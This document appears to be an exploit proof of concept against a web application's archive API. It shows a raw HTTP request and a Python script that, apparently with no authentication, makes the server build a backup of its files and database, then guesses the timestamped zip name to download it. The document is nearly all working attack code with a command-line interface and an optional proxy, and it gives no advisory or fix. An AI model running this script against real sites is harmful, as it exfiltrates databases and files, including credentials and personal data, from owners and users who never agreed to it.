POST /?api/archives HTTP/1.1
Host: localhost:8085

action=startArchive&params%5Bsavefiles%5D=true&params%5Bsavedatabase%5D=true&callAsync=true

http://localhost:8085/?api/archives/2025-04-12T14-34-01_archive.zip

#!/usr/bin/env python3

import requests
import argparse
import datetime
import time
from urllib.parse import urljoin
from email.utils import parsedate_to_datetime
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# Hardcoded proxy config for Burp Suite
BURP_PROXIES = {
    "http": "http://127.0.0.1:8080",
    "https": "http://127.0.0.1:8080"
}

def send_post_request(base_url, use_proxy=False):
    url = urljoin(base_url, "/?api/archives")
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36",
    }

    data = {
        "action": "startArchive",
        "params[savefiles]": "true",
        "params[savedatabase]": "true",
        "callAsync": "true"
    }

    proxies = BURP_PROXIES if use_proxy else None
    response = requests.post(url, headers=headers, data=data, proxies=proxies, verify=False)
    print(f"[+] Archive start response code: {response.status_code}")

    server_date = response.headers.get("Date")
    if server_date:
        ts = parsedate_to_datetime(server_date)
        print(f"[✓] Server time (from Date header): {ts.strftime('%Y-%m-%d %H:%M:%S')} UTC")
        return ts
    else:
        print("[!] Server did not return a Date header, falling back to local UTC.")
        return datetime.datetime.utcnow()

def try_download_files(base_url, timestamp, use_proxy=False):
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36",
    }

    proxies = BURP_PROXIES if use_proxy else None
    print("[*] Trying to download the archive with timestamp fuzzing (±10 seconds)...")

    base_ts = timestamp + datetime.timedelta(hours=2)

    time.sleep(30)  # delay to generate the archive

    for offset in range(-4, 15):
        ts = base_ts + datetime.timedelta(seconds=offset)
        filename = ts.strftime("%Y-%m-%dT%H-%M-%S_archive.zip")
        url = urljoin(base_url, f"/?api/archives/{filename}")
        print(f"[>] Trying: {url}")
        r = requests.get(url, headers=headers, proxies=proxies, verify=False)

        if r.status_code == 200 and r.headers.get("Content-Type", "").startswith("application/zip"):
            print(f"[✓] Archive found and downloaded: {filename}")
            with open(filename, "wb") as f:
                f.write(r.content)
            return

    print("[!] No archive found within the fuzzed window.")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Trigger archive and fetch resulting file with timestamp fuzzing.")
    parser.add_argument("host", help="Base host URL, e.g., http://localhost:8085")
    parser.add_argument("-p", "--proxy", action="store_true", help="Route requests through Burp Suite proxy at 127.0.0.1:8080")
    args = parser.parse_args()

    ts = send_post_request(args.host, use_proxy=args.proxy)
    print(f"[+] Archive request sent at (UTC): {ts.strftime('%Y-%m-%d %H:%M:%S')}")

    try_download_files(args.host, ts, use_proxy=args.proxy)